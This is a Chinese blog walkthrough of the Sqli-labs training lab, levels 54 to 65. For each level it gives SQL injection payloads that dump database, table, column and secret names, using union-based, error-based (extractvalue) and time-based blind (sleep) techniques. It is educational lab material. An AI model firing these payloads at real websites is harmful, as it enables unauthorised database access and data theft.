Sqli-labs闯关题54-65题,详细解答。

 第五十四关:

单引号包裹,比较偏于实用。

这一关没什么特别  特别在于查询的次数 ,只能输入10次注入信息,记录方式是cookie。 

首先判断列数:?id=1'  order by 3--+

 查当前数据库:?id=0'  union  select 1,2,database()--+

爆出表名:?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

 

爆出列名:?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='bl03k8qxkk' --+

取出数据值:?id=0' union select 1,2,(group_concat( concat_ws(0x7e,sessid,secret_DHPM,tryy)  )) from challenges.bl03k8qxkk --+

?id=0' union select 1,group_concat(secret_6KHN),3 from bl03k8qxkk%23

输入拿到的secret:

 第五十五关

和上一关一样,加了一个小括号 通过测试发现是加了小括号,一共可以输入14

 

 查表 :       ?id=-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23

 

 

 第五十六关

和之前一样,通过测试发现是单引号括号闭合,其他的没区别。

看数据库名      ?id=-1') union select 1,database(),3%23

 第五十七关

经过测试,发现是双引号闭合,其他和前几关一样

 查询数据库名                ?id=-1" union select 1,database(),3%23

 第五十八关

这关很不妙,好像只有5次机会。难度进一步增大。

 单引号

 

 后来发现没有回显,一查,这一关不能用union select语句了,那我们报错试一下

 报错输入获得数据库名                   ?id=0' and extractvalue(1, concat(0x5c, (select database())))%23

 那就说明报错说明可以的,报错注入,不多说。

 第五十九关

he上一关一样,整数型

 报错输入获得数据库名                   ?id=0 and extractvalue(1, concat(0x5c, (select database())))%23

 

 

 

 第六十关

和上一关一样,只不过多了双引号和括号?id=0”)

 报错输入获得数据库名                  ?id=0") and extractvalue(1, concat(0x5c, (select database())))%23

 获取表名      ?id=0") union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+

 爆列名      

?id=-1") union select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name= 'ds5yhpqhui'),0x7e))--+

 爆数据      ?id=-1") union select extractvalue(1,concat(0x7e,(select group_concat(secret_6C2W) from ds5yhpqhui),0x7e))--+

 将查出来的值输入进去  ,成功了!

 第六十一关:

和六十关基本一样,就是变成了单引号和双括号。

爆数据库名   ?id=1'))and extractvalue(1, concat(0x5c, (select database())))%23

 爆表名    ?id=0‘)) union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+

  爆列名       

?id=-1')) union select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='f36j60pgjv'),0x7e))--+

 爆数据      ?id=-1')) union select extractvalue(1,concat(0x7e,(select group_concat(secret_O50Q) from f36j60pgjv),0x7e))--+

 输入爆的值: 9KR46aUDde3eTraTo32GNau7

 

 

 第六十二关

这关这次联合注入和报错注入都不可以了 ,那我们只能用盲注了

?id=1%27)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(3))--+

 第六十三关

和六十二关基本一样,只不过这关需要单引号闭合。

?id=0%27and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=77,0,sleep(10))--+
正确时间短,错误时间长

 

 

第六十四关

和六十二关基本一样,单括号单引号闭合:('')

?id=0))and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=77,0,sleep(10))--+
正确时间短,错误时间长

 

第六十五关

和六十二关基本一样,单括号双引号闭合:?id=1”)  

 ?id=1%22)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))--+
 

 

 

 

结束啦!

 

posted @ 2020-03-01 03:28  心态要好(✪▽✪)  阅读(283)  评论(0编辑  收藏  举报